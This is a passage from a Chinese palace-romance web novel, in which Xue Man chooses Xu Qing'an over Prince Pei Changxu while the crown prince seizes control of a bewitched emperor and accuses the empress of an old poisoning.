许清桉哑然?失笑,“不急,你再?与我说说,广阑王是?怎么找到你的?” “我替三哥去找止血的草药,回来?的路上?便遇到了他们。”薛满心有余悸,“没想到他会跟傅迎呈一起来?抓我们。” “十八皇子失踪,始作俑者又是?端王,广阑王岂能坐以待毙。”许清桉缓缓道:“他可与你说了什么?” “无?非是?花言巧语,离间我与三哥,希望我供出三哥的位置。不过……”薛满顿道:“广阑王说了一句似是?而非的话。” “什么话?” “我八岁时,曾与三哥遭遇一场意外。那年是?圣上?的兄长恭亲王私藏龙袍,意图造反,被揭发后全府入狱。但他的手下不死心,绑架了我与三哥,想以此威胁姑父交换人质。当时是?我阿爹最先找到我们,为了救我,他身受重伤,不治身亡……” 许清桉吻去她的眼泪,“换作是?我,也会像伯父这么做。” “你已经做过一次了,在?衡州的时候。”薛满道:“但我不需要?,我要?与你们同生?共死,永不分离。” “好,我答应你,往后要?生?一起生?,要?死一起死。” 薛满平复好情绪,继续道:“后来?,姑父龙颜大怒,很快便抓到了幕后指使者,将相关人员全部处死,此事便算彻底了结。但闵钊那天说,当年落难的本该另有其人,而非我与三哥,他还说人心不足蛇吞象,阿爹与我的苦难,皆由薛氏一族的贪婪而起。” 话音刚落,许清桉若有所思,薛满则轻咬唇瓣,忐忑地道:“你觉得,他这话有可信度吗?” “没有。”许清桉毫不犹豫地道:“广阑王老奸巨猾,心思缜密,专挑你的痛楚挑拨,你无?须放在?心上?。” “但还有一件事。”薛满踌躇着道:“之?前我与你说过,三哥请大乔姑娘画一名蒙面人的下半张脸,还曾两次三番地试探我,问我记不记得那人。我恢复记忆后才想起来?,那人正是?当初绑架我与三哥的主犯之?一。” “当时还有漏网之?鱼?” “嗯,想来?是?三哥担心我害怕,所以瞒下了此事。” 许清桉之?前便派人调查过九年前的这场意外,今日又听薛满描述的细节,瞬间便生?出一种推断。 追溯过去,闵家与薛家似乎没有仇怨,但稍加思索,便会发现他们是?无?法共存的两派势力。 他将疑虑埋进心底,不叫薛满看出分毫,“好了,别将闵钊的话当真。” “但是?……” “你若还有力气,不妨体?谅下我的辛苦。” “什么辛苦?” 许清桉捉着她的手放进被里,薛满本一脸疑惑,随即烫手般地甩开?,羞愤低喊:“许清桉,不许你再?放肆!” …… 用午膳时,裴长旭没见到薛满的人,便问杜洋,“阿满起了没?” 杜洋道:“属下没见到薛小姐出院,应当还没有。” “许清桉何在??” “空青说许少卿昨晚喝醉了,今日有些不清醒,晚些再?来?跟殿下议事。” 裴长旭并未将两人想作一处,他走进书房,开?始拆阅今晨收到的信件,其中?一封引起了他的重视。 是?薛科诚来?的信,他在?信中?称,年后圣上?龙体?抱恙,太医院换过许多药仍不见效。前月时,太子寻来?一名道士,劝圣上服用灵丹妙药后,圣上?的病情大有好转,便命道士直接住进宫中?,一日三餐随侍奉药,某晚竟连续召了三位昭仪服侍。皇后听闻后,立刻请求面圣,对圣上?婉言劝导,却意外惹恼了圣上?,被罚禁足三月。 裴长旭眉头?紧蹙,一时间难消化?信中?内容。万寿节前后,父皇的确有过不适,但服过关少云开?的药后便有起色。如今身体?抱恙,是?旧疾重来?,还是?新病突发? 还有那所谓的道士、灵丹妙药、三位昭仪过夜…… 父皇向来?英明睿智,怎会是?非不分,罚好言劝解的母后禁足三月? 母后与父皇恩爱数十载,从未发生?过这样的分歧。 裴长旭立刻磨墨提笔,回信打探更多?细节,又招来?罗夙,命他快马加鞭赶回京城。 罗夙离开?时,迎面撞上?许清桉,朝后者恭敬道:“许少卿。” 许清桉颔首,“殿下在?吗?” 罗夙道:“殿下正在?里面。” 许清桉走到书房前,经过杜洋通传后进入书房。 裴长旭抬眸看他一眼,“许少卿醒酒了?” 许清桉道:“是?,多?谢殿下关心。” 裴长旭道:“昨日走时,本王见你神色如常,还以为你千杯不醉。” 许清桉道:“有些事,清醒时顾虑重重,喝酒后反倒能直面真心。” 裴长旭懒得搭理他的话中?有话,“此次你成功捉拿叛党与南垗奸细,又拿到了广阑王通敌叛国的证据,功劳不可谓不大。” “全靠殿下运筹帷幄,领导有方。” 没看出来?,许清桉竟也会说漂亮的场面话。 裴长旭挑眉,“向广阑王通风报信的人可一并抓住?” “抓住了。”许清桉道:“说通风报信却也不准确,那人是?名四品武将,曾在?京中?军营待过几年,在?众多?场合中?见过殿下真容。一个月前他请休长假,四处游玩,恰好路过兰塬,无?意中?撞见殿下,随后又慕名进了求香畔。” “他在?寻欢作乐中?说出了我的行踪?” “是?,他本是?随口?一提,岂料楚娘子极其机敏,立刻禀到了傅迎呈的面前。” 于是?便有了江上?追击的凶险一幕。 裴长旭道:“广阑王已落网,却还有一事令本王顾虑。” 许清桉道:“殿下是?指太子?” 裴长旭点?头?,撇开?这次暗查,前几次都有人向广阑王传递消息,太子的嫌疑最为深重。 许清桉道:“下官审问过其他人,他们对太子之?事一无?所知,想来?只有广阑王和傅迎呈能解开?迷惑。” 裴长旭缓慢地摇头?,“前几日,本王亲自提审过他们,他们口?风极严,声称与太子没有来?往。” 许清桉道:“广阑王决意保住太子。” 裴长旭道:“因广阑王一事,父皇本就对太子猜忌甚深。如今罪证确凿,即便广阑王不承认,太子也会受到牵连。” “若换作从前,殿下的推断不无?道理,但太子最近寻得妖道,深得圣上?欢心,一切便未有定数。” 裴长旭眸光倏冷,“你的消息倒是?灵通。” “殿下莫小看了恒安侯府。” “你还探到了什么消息?” “比如,皇后惹怒圣上?被禁足三月,而圣上?沉迷修道,竟萌生?出禅位之?心?”许清桉问:“这些够吗?” “胡言乱语!”裴长旭陡然?变色,“父皇正值壮年,怎会无?端端地禅位!” “那便得去问问太子与那妖道了,究竟有何等本事,能叫圣上?短短三月便迷失心智,欲弃国家不顾。” 裴长旭的脸色青青白白,他不过离京三个月,便生?出这等匪夷所思的变故?因是?秘密出行,他刻意隐瞒行踪,除去父皇外几乎阻断消息,直到阿满恢复记忆才给外祖父去了书信。万万没想到,此番的变数正是?父皇本人! 他仍心存侥幸,“父皇英明神武,面对确凿罪证,定能够明察秋毫。” “人的心偏向哪,真相便在?哪。”许清桉道:“下官以为,圣上?的心如今偏向太子,即便殿下带着广阑王、傅迎呈及十八皇子进京,恐怕也得不到想要?的结果?。或许还有更坏的转折,便是?被太子、广阑王等人反咬一口?。” 裴长旭并非蠢驴,自然?知晓他说得有理,情感上?却难以接受。 “出发兰塬前,父皇亲口?道,如今只信得过本王。”裴长旭道:“本王相信父皇。” “皇后在?禁足前,也同样信任圣上?。” 裴长旭勉强定神,“那依你所见,后续当怎么办?” 许清桉反问:“阿满已恢复记忆,殿下打算何时解除婚约?” 裴长旭冷声,“许清桉,这与你没有关系。” “当然?有关系,而且是?很大的关系。”许清桉慢条斯理地道:“昨夜醉酒,我宿在?了阿满的房中?。” “……” “即便恢复记忆,阿满爱的人依旧是?我。” “……” “殿下,你输了。” “……” 裴长旭怒不可遏,一拳挥向许清桉的脸,“你撒谎!阿满不可能留你过夜!一定是?你胡言乱语污蔑她!想破坏她的名声来?激怒本王!” 许清桉侧身一避,轻松躲开?他的袭击,“殿下若是?不信,大可去问阿满院中?的奴仆。” 裴长旭的理智断弦,疯狂地再?度扑上?前,“无?论你怎么挑拨,本王都不会信!阿满是?本王的未婚妻,本王会与她拜堂成亲!会与她儿女绕膝!” 这回许清桉没有再?避,而是?硬生?生?吃了他一拳后,提脚踹中?裴长旭的腹部。 “殿下曾经有这样的机会,却因为贪婪、多?情、优柔寡断叫阿满伤心欲绝。是?殿下逼走阿满,亲手将阿满送到了我的身边!” “你算个什么东西!来?路不明的外室子,阿满解闷的乐子而已!” “殿下又算个什么东西!吃着碗里惦记锅里,等失去了才在?那故作深情!” “许清桉,本王要?杀了你,本王绝对要?杀了你!” “裴长旭,有本事的话你尽管动手!看到底是?谁杀的了谁!” 任谁也没料到,谦雅温润的端王殿下、矜傲风流的恒安侯世子会跟市井流氓般对骂互殴,你一拳来?我一脚,打得鼻青脸肿亦不罢休。 门外的杜洋试图阻拦,却被裴长旭怒吼着滚蛋,眼看局面混乱,杜洋只得去找薛满救场,然?而走到半路,却得知一个突如其来?的坏消息。 “殿下,许少卿,你们住手吧!”杜洋急赤白脸地喊:“方才牢里传来?消息,称广阑王与傅迎呈都中?毒死了!” 打斗中?的两人终于顿住动作,齐齐望向杜洋。 杜洋重复:“广阑王与傅迎呈吃了有毒的饭菜,双双中?毒身亡,随后下毒的那名狱卒也割喉自尽。” 裴长旭脸色煞白,身形猛地一摆。 许清桉勾唇,“太子殿下比我想得更果?断些。” 裴长旭张了张嘴,艰难地挤不出半句话。真是?太子所为吗……太子他何至于…… 许清桉整理皱乱的衣服,朝裴长旭莞尔一笑,“所以,殿下真不考虑跟恒安侯府合作吗?” 裴长旭怒目而视,“许清桉,你休想!” 许清桉道:“离回京还有几日,殿下不妨三思而后行。” …… 薛满听闻广阑王、傅迎呈在?狱中?身亡的消息,同时也知晓裴长旭、许清桉的大打出手。 她急忙赶到裴长旭的院中?,见他正坐在?露天的空地上?,连块地垫都未铺。 薛满往四周看了一圈,杜洋呢?罗夙呢?竟不知天还凉着吗! 她走近裴长旭,视线滑过他的脸庞,还好还好,没有破相得太厉害,许清桉应该不会被治罪。 “三哥。”她安下心,轻声开?口?:“地上?凉,我们进屋坐好不好?” 裴长旭置若罔闻,目光直视前方,神色平静到麻木。 薛满不放弃,“三哥,我知晓你心里不舒服,但你的伤还未好,凡事得以身体?为先。” 裴长旭终于动了,侧首看向她,“你去看过许清桉了?” 薛满摇头?,“我知道消息后,便先来?看的你。”待会儿再?去收拾另一个也不迟! 是?吗?看来?还是?他略胜一筹。 裴长旭仔细端详她的脸,一如既往的娇俏鲜活,又多?出些意味不明的潋滟。再?往下看,白皙修长的脖颈处,有几枚衣领也难遮的红色印记。 裴长旭不怒反笑,断断续续地笑。 笑他的自以为是?,笑他的不懂珍惜,笑他的后悔莫及。 许清桉说得没错,是?他亲手逼走阿满,将她送到了许清桉的身边。如今后悔已没有用,阿满的心给了别人,拒绝接受他的忏悔。 笑着笑着,那些懊悔心痛便化?为眼泪,铺满整张面庞。 薛满顿时慌了,“三哥,你怎么哭了?是?哪里疼得受不了吗?” 裴长旭拉住她的手,放到自己的心口?,“阿满,我这里疼。” 薛满会错意,“是?被熊抓伤的地方又裂开?了?你等着,我马上?去找泰酉,叫他帮你开?药止疼!” 裴长旭不肯松手,“阿满,我知错了,我真的知错了。求你不要?走,回头?看看我,再?给我一次机会……” 换作失忆时的薛满,定要?对他不留情面地讥讽。但眼前是?与他相伴十六载的薛满,她做不到冷酷地对待裴长旭。 “三哥。”薛满学着他那般,温柔轻抚他的头?顶,“与我做夫妻后,你会发现我的许多?缺点?,厌弃我不如记忆中?的善解人意。我呢,又会怨恨你太优秀,总吸引外头?的女子示好,恨不得时刻掌握你的行踪。时间一久,你看我鼻子不是?鼻子,我看你眼睛不是?眼睛,两人反目成仇,连基本的情分都难以维持。” “不会的,我们不会的,我会待你好,今生?只待你一个人好……” “我们会。”薛满坚定地道:“已经错过一次的事,不需要?重蹈覆辙。” “我不会放你走,绝对不会……” “脚长在?我的身上?,你没法阻止我的离开?。”薛满道:“我爱许清桉,很爱很爱。” “你从前也爱我,你忘了吗?” “是?啊,我从前爱你,所以委曲求全,欢喜全由你掌控。但是?我经常不快乐,于是?离开?京城,遇见很多?新鲜的事,认识许多?新鲜的人,最后终于明白,真正的快乐和爱是?什么模样。”她道:“三哥,我们好聚好散,好吗?” 裴长旭不说话,眼泪打湿了衣襟。他清楚地意识到,这次真正地失去了她。 他的阿满不要?他了。 第93章 第 93 章 薛满慰问过裴长旭, 便急忙赶向许清桉的院子。 空青、蜚零二话?不说地放行,由她畅通无阻地入内,推开?书房半掩的门?。 她本要气势汹汹地追责, 岂料书房空无一人?,唯余案上打开?的书籍与搁置在一旁的狼毫。 咦, 人?呢?空青明明说他在书房! 不等薛满想明白,身后忽然迎上一人?, 顺势环住她的腰, 不住亲吻她的脖颈。 清新的雪松香气袭入鼻间,薛满心旌摇曳,一时软了身子,由他为所欲为。 直到腰带飘落, 衣领松垮, 修指旖旎地探怀时,薛满陡然清醒, 摁住他的手道:“许清桉,这是在书房,你给我清醒一些!” 青年道:“青天白日, 满室书香, 阿满不觉得在此欢好,能?有?另一番滋味?” 滋味他个?头啊! 薛满恼羞成怒,回身欲拽他的耳朵, 定睛后却忍俊不禁。 瞧瞧这家伙,鼻青脸肿的何其滑稽, 哪还有?平日里的风流倜傥! “哈哈哈哈。”她幸灾乐祸地道:“许清桉, 你真是活该!” 许清桉用额头抵着她的额,“好啊你, 不仅先去?看端王,竟然还敢取笑?我。” “我不仅笑?你,还要狠狠地笑?。”薛满推开?他的脸,没好气地道:“谁给你的胆子,竟敢跟端王殿下大打出手?” “方才打架的不是恒安侯世子与端王,而是许清桉与裴长旭。”许清桉一本正经,“据我所知?,他们?喜欢上同个?女子,但女子与许清桉两情?相悦,裴长旭却非要棒打鸳鸯,无奈之下,许清桉只好与他一决高下。” “这么说来,许清桉是被逼无奈了?” “当然。” “那最后谁赢了?” “赢的人?一直都是许清桉,他只不过要逼裴长旭承认事?实?。” 如他三番两次逼自?己承认心意那般吗? 薛满叹了口气,心疼地抚上他的伤处,“疼吗?” “你亲一下便不疼了。” “……” “也许一下不够,得十下才行。” 薛满打了下他的臂膀,“行了,我已与三哥说得很清楚,回京后便会请祖父做主,解除我与他的婚约。” “那便最好不过。”许清桉搂住她,低声道:“我真想今晚便与你拜堂成亲,往后再也不用分离。” “有?人?曾告诉我。”薛满忽然想起一句话?,“先有?分离,人?们?才会愈加期待重?逢。” “那人?是谁?” “一位萍水相逢的长辈,在我逃家时对我非常关照,那金鱼荷包便是她送的。” 许清桉心想果然如此,“若有?机会,我定要向她道一声谢。” “她说会去?白鹿城找我,对了,还会带上她聪慧好学、貌似潘安的好大儿。” “……”居心不良,往后还是别重?逢最好。 * 闵钊、傅迎呈既已身死,回京便是迫在眉睫。 裴长旭派人?留在兰塬接应,又命另一队人?秘密押送十八皇子进京,自?己则与许清桉、薛满等人?一道动身。 回京途中,他沉默寡言,便连见到她与许清桉亲密无间,也只转身离去?,背影孤寂清冷。 薛满看在眼里,说不歉疚是假的,但除去?歉疚便无能?为力。多余的柔情?关心只会给人?虚假的希望,倒不如狠狠心,彻底斩断前缘。 对此,许清桉道:“你无须感到歉疚,端王的愁苦不止于你。” 薛满问:“还有?什么事?令三哥愁苦?是宫中出事?了吗?” 许清桉道:“宫中的确出了些事?。” 薛满着急,“出了何事??是姑母还是小宁生?病了?” “非也。”许清桉反问:“阿满,你觉得皇后是个?怎样的人??” “姑母吗?她身为一国之后,自?然是雍容大度,母仪天下,将后宫管理得井井有?条,对所有?皇子皇女都视如己出。” “对你呢?” “对我也极好。”薛满真心实?意地道:“自?我爹娘去?世,姑母便将我接到宫里抚养,将我当成亲女一般。” “你与皇后的感情?很深。” “姑母称得上是我第二个?娘亲。”薛满怀疑地蹙眉,“听你所言,是姑母出了事?吗?” “与圣上起几句争执罢了,她毕竟是皇后,想来圣上不会重?罚。” “但是……” “没有?但是。”许清桉撤下纱帐,俯身吻上她的唇角,含糊道:“天快黑了,你我该养精蓄锐,早些休息……” 长达半月的路程里,薛满充分认识到,许清桉这人根本是衣冠禽兽!别看他白日里瞧着矜持有?度,一到夜里便性情?大变,缠着她抵死不休! 但一想到,他每晚偷偷摸摸地来,天不亮又偷偷摸摸地走,明明辛勤却乐此不疲,她便又心软意活,纵容了他的某些行径。 直至抵达靠近京城的最后一个?驿站,当晚,薛满难得清闲,早早睡下。而裴长旭、许清桉则见到一位久违的长者。 薛科诚。 薛科诚乔装打扮,暗中抵达驿站。裴长旭、许清桉恭候许久,朝他异口同声地喊:“外祖父/薛老太爷。” 薛科诚疲惫地道:“老夫参见殿下。”又朝许清桉微笑?颔首,“许少卿,别来无恙。” 简短的几句寒暄后,许清桉亲自?奉茶,裴长旭更直入正题。 “外祖父,如今前朝与宫中的情?况如何?” 薛科诚道:“危如累卵。” 他将近半月的事?娓娓道来:圣上日渐沉迷丹药,已到懒于上朝的地步,将国事?尽数交由太子处理。而圣上则被那道士蛊惑,意图效仿汉武大帝寻仙问道,谋求长生?不老。 说到这,薛老太爷语气苍凉,“我私下请朝中几位德高望重?的老臣去?劝解圣上,却都无功而返,更甚者被夺去?官职,打入天牢。” 裴长旭难以置信,父皇竟失智至此?“那母后与小宁呢?” “皇后依旧在禁足,后宫之事?如今由席贵妃代理。至于小宁……三日前,她与太子妃因争执大打出手,太子妃扇了她一耳光,她亦踹了太子妃一脚。此事?后,两人?都被太子训诫,将双方的奴仆送进慎刑司受罚。” 席贵妃的嫡亲侄女嫁了太子做侧室,前段时间更有?了身孕。 裴长旭苍白一笑?,“我奉父皇旨意,去?兰塬调查闵钊谋逆一事?,好不容易人?赃俱获,回来时却物是人?非。如今父皇糊涂,乃至前朝混乱,后宫无主……闵钊一事?又会有?怎么样的变数?” “眼下,太子在朝中一手遮天,闵钊若活着,不失为对付太子的一把利器。但闵钊身死,太子便可?独善其身。” “然后?” “太子党会替太子背书,支持太子继位。”薛老太爷顿道:“据宫中传出来的消息称,圣上有?意退位幽居。” 裴长旭已从许清桉口中听过这消息,此时再听,亦难忍住悲怆,“我要求见父皇,亲口问问他究竟出了何事?!” 薛老太爷道:“即便是殿下,如今恐怕也难见到圣上。太子以保护圣上的名义,命禁军日夜守在殿外,凡求见圣上者,都得先经过他的同意。” “外祖父的意思是,太子已肆无忌惮,铁了心要夺位?” “是。” 裴长旭一时寒心消志,不明白本其乐融融的一家人?,怎会落到这番地步。怪闵钊吗?对,应该怪闵钊,若非他私通敌国,牵涉太子,父皇怎会苛待太子,太子又怎会处心积虑地夺权? 混乱纠结时,有?人?清朗道:“殿下目前有?两条路能?走。” 薛老太爷看向一旁气定神闲的青年,“哪两条路?” 许清桉道:“其一,京城既已是太子的天下,殿下不如先退藏于密,厚积薄发,等万事?俱备后以清君侧的名义攻进京城,解救圣上与皇后等人?。” 薛老太爷问:“其二?” 许清桉道:“时不我待,不入虎穴,焉得虎子?” 裴长旭靠向椅背,闭上双眼,脑中浮现的是三个?月前,宫中人?聚在殿前迎接新年。父皇、母后站在最中央,太子与他分立两旁,所有?人?皆面带喜气,欢欣鼓舞。 然而,他们?没有?等来新年的新气象,只等来铺天盖地的阴霾。 …… 夜沉沉地揭过,薛满一觉睡到天亮,出门?时发现祖父竟到了驿站。 “祖父!”薛满惊喜地跑上前,“您怎么来了?几时来的?怎么不叫人?通传一声!” “我没到多久。”薛科诚慈爱地望着她,“我听殿下说你们?今日抵达驿站,便前来接你回府。” “何须您跑一趟,等我进城后,自?会第一时间去?老宅看望您。”薛满慢慢红了眼眶,“祖父,抱歉,是我不懂事?,害得您东奔西走的劳累。” 薛科诚笑?道:“祖父若是见不到你,才是真正的劳形苦心。对了,我听殿下说,你已经恢复了记忆?” “是。”薛满点点头,请薛科诚到小间,交流起最近经历,末了才道:“祖父,之前您说,等我恢复记忆,若还是……还是想解除婚约,您便会不计代价地替我做主,这句话?还算数吗?” 薛科诚道:“你仍想跟殿下解除婚约?” 薛满颔首,认真道:“孙女与许清桉两情?相悦,此生?除了他谁也不嫁。” 薛科诚正要说话?,余光却瞥到另一人?进门?,朝他恭敬地作礼。 “晚辈心悦阿满,还请薛老太爷成全我与阿满的婚事?。晚辈向您保证,等阿满嫁进恒安侯府,凡事?都会以她为主,连祖父都难欺她半分。” 薛满站到许清桉的身边,“请祖父替我们?做主。” 薛老太爷望着眼前的两位小辈,他们?目光坚定,并不避讳地牵着手,其心不言而喻。 当年他求娶絮敏时,也如许家小子一般,对絮敏的父母保证,会一生?一世待絮敏好。 他做到了吗?做到了吧。在絮敏活着时,他们?举案齐眉,她为他生?儿育女,他对她一心一意。可?惜修平意外离世,絮敏痛心疾首,紧随其后地离去?…… 阿满是修平唯一的孩子,样貌像极了絮敏。 薛科诚之前不肯答应薛满解除婚约,是怕她恢复记忆后会后悔。而今她恢复了记忆,与许清桉仍心心相印,他再无阻挠他们?的理由。 “好。”薛科诚道:“等宫中事?告一段落,我便禀明皇后,请她解除你与长旭的婚约。” 又是宫中事??宫中到底出了何事?? 薛满欣喜之余又感到忐忑,但无论她怎么追问,薛科诚、许清桉都不肯透露内情?。 薛满选择去?找裴长旭,“三哥,姑母究竟出了何事?,能?叫你们?个?个?如临大敌?” 裴长旭道:“只是出了点小问题,很快便能?够解决。” 薛满问:“小宁呢?我已许久没收到她的消息,她还好吗?” 裴长旭道:“小宁也不会有?事?。” 薛满再蠢也听得出其中蹊跷,结合兰塬的所见所闻,闵钊、傅迎呈等关键人?证的身死,心底猛然冒出一个?猜测。 “莫非是太子哥哥如九皇子一般,记恨你对广阑王动手,于是怀恨在心,设计陷害了姑母与小宁?” 被设计的人?何止是母后、小宁,更有?高高在上,似乎无所不能?的景帝。 裴长旭不欲跟她解释内情?,“虽有?一些小变故,但我能?够处理得好。” 薛满果断道:“下午我与你一起进宫。” 裴长旭摇头,“你与外祖父先回老宅。” 薛满朝他逼近,眸光透彻人?心,“既然是小变故,你为何不带我一起进宫?还是说,你与许清桉、祖父有?大事?在瞒着我?” 因他们?都爱她,不愿意她冒任何危险。 裴长旭微微笑?着,没头没尾地道:“我还记得你离京前,特意请我进屋,欣赏你穿上嫁衣的模样。” 薛满轻愣,是有?那么回事?,彼时的她伤心欲绝,想在逃婚前让他印象深刻,终生?难以忘记。但回头想想,极致的爱与恨均飘散,余留的只有?血缘无法割舍的羁绊。 “三哥……” “你穿上嫁衣的样子很美?,我一辈子都忘不掉。”他凝视她,喃喃自?语:“母后早就劝过我,但我没有?听,非要一意孤行。” 薛满不忍见他灰心丧气,“三哥,都过去?了。” 裴长旭道:“我真后悔,若当初没那么自?以为是,能?听进母后和小宁的劝解,早些和你坦白,一起处理江书韵的去?留……” “三哥,别说了。” “假使我早早地坦白一切,便不会失去?你。” “这世上没有?如果、假设、但是。”薛满轻声道:“我们?不该被困在过去?,得勇敢地往前走。” 他的前方能?有?什么?陡然失智的父皇,狼子野心的兄长,等待他救援的母亲和妹妹…… 能?够抚慰他心伤的人?只有?她,可?她爱上了别人?,一个?比他更坚定优秀的人?。 “阿满。” “我在。” “我能?够抱抱你吗?” “……” “人?生?的最后一次,让我再抱抱你,好吗?” 薛满迟疑地点头,下一瞬,被青年紧紧拥进怀里。 无论明日结局怎样,至少许清桉能?护住她……或许,这才是老天最好的安排。 第94章 第 94 章 离开驿站前, 裴长旭收到了?来自?云县的一份礼物。历时两个月,大乔经过无数次的推演,终于画出那蒙面?人的下半张脸。 裴长旭粗略地打量几眼, 对?他唯有“样?貌平平”“丢进人堆也不显眼”的评价。也正是这平平无奇的男子,当?年参与绑架了?他与阿满, 害得舅舅英年早逝。 危难当?头,裴长旭暂时将寻人搁置脑后。他率领众人光明?正大地进入京城, 随后与许清桉分道扬镳, 径直驶向皇城。 皇城依旧高大宏伟,固若金汤,能抵御万千风霜。但若当?瓦解从内部开始,又如之奈何? 守门的禁卫换了?一批新面?孔, 却无人不识鼎鼎大名的端王殿下。他们朝裴长旭整齐行礼, 全?程放行,由他轻而易举地通过太清门, 驻足广明?殿前。 这是景帝处理事务的宫殿,象征着大周至高无上的权力。 守在?门前的禁卫军、内侍亦是生面?孔,表情均恭敬虚伪。 内侍满脸笑容, 朝裴长旭道:“端王殿下。” 裴长旭问:“父皇何在??” 内侍扯着尖细的嗓音道:“圣上知晓端王殿下今日回城, 一早便在?殿中等候,请您直接入内即可。” 裴长旭道:“好。” 内侍迫不及待地打开殿门,喊道:“端王殿下到!” 等裴长旭独身跨过门槛后, 他又迫不及待地合上门,唇角扬起一丝得逞的笑容。 这端王殿下, 看起来也不甚聪明?的样?子! …… 裴长旭的脚步声, 一步步地响彻殿内。 他目视前方?,望向龙案后正奋笔疾书的景帝, 以及他身畔正在?低语的太子裴长泽。 裴长旭甩开袍角,恭敬下跪,“臣见过父皇,见过太子殿下。” 他声音洪亮,字字清晰,景帝却置若罔闻,只顾着笔尖游走。 倒是太子笑道:“三弟,你回来了?。” 裴长旭道:“是。” 太子问:“听闻三弟此次陪阿满去?江南游玩,欣赏了?不少好山好水,不知阿满的病情可有好转?” 裴长旭道:“多谢皇兄关心,阿满的身体已经无恙。” 太子道:“既无恙,今日怎不一并带进宫中,探望探望母后?” 裴长旭道:“不急这一时。” 他再度看向沉浸在?写字中的景帝,试图唤起他的注意,“父皇,儿臣回来了?,请您看看儿臣吧。” 景帝不为所动,见状,裴长旭好心地道:“父皇,三弟回来了?,您不妨抬头看上一眼。” 景帝竟真?按他所说,抬头看了?裴长旭短短一眼,敷衍地道:“嗯,你回来了?。” 裴长旭没有错过观察景帝的机会,面?色红润,目光亢奋,炯炯有神……却是太炯炯有神了?些,不复过往的深沉睿智。 更何况,他对?周遭的声响毫无反应,只对?太子言听计从。 裴长旭道:“我有要事须向父皇禀告,可否请太子回避一下?” 太子笑道:“父皇最近已将朝事全?数交由孤来代?理,三弟无须避讳,有要事但请直言。” 裴长旭坚持:“此事我只能单独跟父皇禀告。” 闻言,景帝忽地怒道:“太子让你说你便说,遮遮掩掩成何体统!” 裴长旭问:“父皇,您忘了?吗,这是您与儿臣的秘密。” 景帝疾声厉色,“太子是储君,朕即日便要禅位于他,任何秘密都不能瞒着他!” 若说之前裴长旭还抱着一丝期望,期望事态没有薛科诚、许清桉描述得那般严重,期望景帝在?见到他时能恢复清明?……此刻却是心沉到谷底。 “父皇今年四十有四,正是励精求治的年纪——” “够了?!朕不想听你们这些人的废话,朕是皇帝,想禅位便禅位,容不得你们指手画脚!” 景帝怒吼完,又和气地对?太子道:“太子,禅位圣旨已写好,待朕按上玉玺,请人宣读后即能生效。” 太子赞道:“父皇做得很好。” 何其荒唐,何其本末倒置的一幅画面?! 裴长旭缓慢地起身,目不转睛地盯着太子,“皇兄,你究竟对?父皇做了?什么?” “此话这话从何说起。”太子讶异,“孤从十岁起便是储君,接任皇位有问题吗?” 裴长旭道:“皇兄是太子没错,但父皇身强体壮,远不到禅位的地步。” 太子道:“三弟离开京城有段时日,不知晓父皇前些日子生了?场大病,病愈后便开雾睹天,想要退位幽居,专心寻道。” “寻什么道?” “自?然是大道。” “何为大道?” 景帝陡然高声,“与天同齐便是大道!朕要寿比南山,与天同齐,羽化成仙!” 裴长旭惨笑,“父皇,这世?间根本没有成仙一说,这全?是他们编出来哄骗您的东西。” “不许你污蔑道长!”景帝冷冷地回视:“朕亲眼见到道长点石成金,更让朕一夜回春,道长是货真?价实的仙人弟子!” 裴长旭闭了?闭眼,放弃与面前的景帝沟通。从前睿智英明?的景帝,如今不过是具由人控制的傀儡,言行均非出自本心。 他问太子,“皇兄要怎样?才肯放过父皇?” 太子一如既往的温厚,“三弟此言差矣,等孤登上皇位,父皇便是太上皇,地位依旧凌驾于孤。” “事已至此,太子又何必惺惺作态?”裴长旭戳破虚伪的平和,“我只要太子一句准话,等太子登上宝座,能否恢复父皇的心智,放他们与我一道前往封地?” “三弟莫不是糊涂了??”太子平静道:“这世?上,从没有太上皇、太后随亲王前往封地的先例。” “我恳请太子为父皇、母后开这个先例。”裴长旭情真?意切,“太子身为储君,继位无可厚非。而我只想带上父皇、母后前往封地,余生绝不踏足进城一步。” 太子问一旁的景帝,“父皇,您想跟三弟去?封地吗?” 景帝断然回绝:“不!朕要跟随道长云游四方?,寻求长生之道!” 太子道:“三弟,你听见了?,父皇不愿意。” 裴长旭握紧拳头,咽下心口?愤懑,“既然父皇不愿意,我也无可奈何。但母后……请皇兄看在?母后待你如亲子的份上,放她与小?宁跟我同去?封地。” “待孤如亲子?”太子重复这句话,慢慢地放声大笑,“好一个待孤如亲子。” 他走出案后,站在?阶上,居高临下地俯视裴长旭,“孤本有亲母照料,闵氏一族保驾护航,若非因薛氏心狠手辣,何至于苟且偷生多年?” 裴长旭皱眉,“皇兄,无论旁人如何,母后一直待你不薄。” 太子脸上浮现一种?怪异的讥讽,“三弟,你果真?不知你的母后有多利欲熏心,卑鄙无耻。” 裴长旭下意识地反驳:“母后仁爱大度,众所皆知,岂容太子污蔑!” “是吗?”太子双手负在?身后,抬着下颚道:“那便由她亲子告诉你,她是何等佛口?蛇心之辈。” 他拍了?两下手,便有侍卫押着薛皇后从侧门进殿。隔着半殿的距离,薛皇后潸然泪下,裴长旭也眼眶湿润。 “旭儿!” “母后!” 母子俩终得重逢,两名侍卫却阻拦在?中间,使?他们无法靠近彼此。 薛皇后形容憔悴,不复平日雍容,“你怎么来了?,你不该来的……” 裴长旭哽咽道:“父皇和母后在?此,我怎能不来?” 薛皇后呜咽几声,望向龙案后端坐的景帝,“圣上,圣上,求您看看臣妾,臣妾是您的妻子啊!” 景帝张了?张嘴,似有动容。太子立刻拍向他的肩膀,他便低头专注地看着桌案。 太子开口?:“父皇的妻子只有一人,那便是孤的生母,孝德欣皇后闵氏。” 薛皇后凄楚地道:“太子,本宫这些年待你不薄,未料你没有分毫动容……” 太子满脸疑惑,“动容?对?孤的杀母仇人吗?” 薛皇后睁大眼睛,似是茫然不解。 太子又道:“薛氏,你当?真?以为做得天衣无缝,没人察觉端倪?” 不等薛皇后说话,太子便娓娓道来:“孤的母后是父皇明?媒正娶的妻子,与父皇感情甚笃,恩爱两不疑。直到父皇登上皇位,纳美无数,母后为此郁郁寡欢,身体每况愈下,乃至香消玉殒……殊不知,母后是中了?一种?名为‘长牵’的慢性毒药,此药无色无味,溶于水,浸于肝脏,服用超过半年便无药可救。” 薛皇后矢口?否认,“本宫并不知晓此事。” 